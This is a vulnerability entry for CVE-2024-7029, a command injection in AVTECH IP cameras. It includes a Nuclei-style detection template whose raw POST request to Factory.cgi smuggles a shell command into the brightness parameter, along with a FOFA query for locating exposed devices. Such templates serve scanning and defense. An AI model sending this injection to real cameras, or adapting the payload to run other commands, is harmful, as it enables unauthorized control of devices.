CVE-2024-7029: AVTECH IP Camera - Command Injection

日期: 2025-08-01 | 影响软件: AVTECH IP Camera | POC: 已公开

漏洞描述

The endpoint `/cgi-bin/supervisor/Factory.cgi` is vulnerable to command injection via the `action` parameter, allowing remote code execution.

PoC代码[已公开]

id: CVE-2024-7029

info:
  name: AVTECH IP Camera - Command Injection
  author: DhiyaneshDK
  severity: high
  description: |
    The endpoint `/cgi-bin/supervisor/Factory.cgi` is vulnerable to command injection via the `action` parameter, allowing remote code execution.
  reference:
    - https://www.akamai.com/blog/security-research/2024-corona-mirai-botnet-infects-zero-day-sirt
    - https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-07
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/Ostorlab/KEV
    - https://github.com/bigherocenter/CVE-2024-7029-EXPLOIT/blob/main/CVE-2024-7029.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7029
    cwe-id: CWE-77
    epss-score: 0.92433
    epss-percentile: 0.99716
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="AVTECH Software"
  tags: cve,cve2024,avtech,rce,intrusive,vkev,vuln

variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cgi-bin/supervisor/Factory.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=white_led&brightness=$(echo%20{{string}}+2>&1)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{string}}"

      - type: word
        negative: true
        part: body
        words:
          - "echo%20{{string}}"
          - "echo {{string}}"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a2976778eb72a7b99963c7e9929682d58fe1111b356565bd8426135822f39b3002201d0991c7f2ae8bb807bfb35db8b689a8ef23fca9a3ae3918de91b5b62a6d5d6c:922c64590222798bb761d5b6d8e72950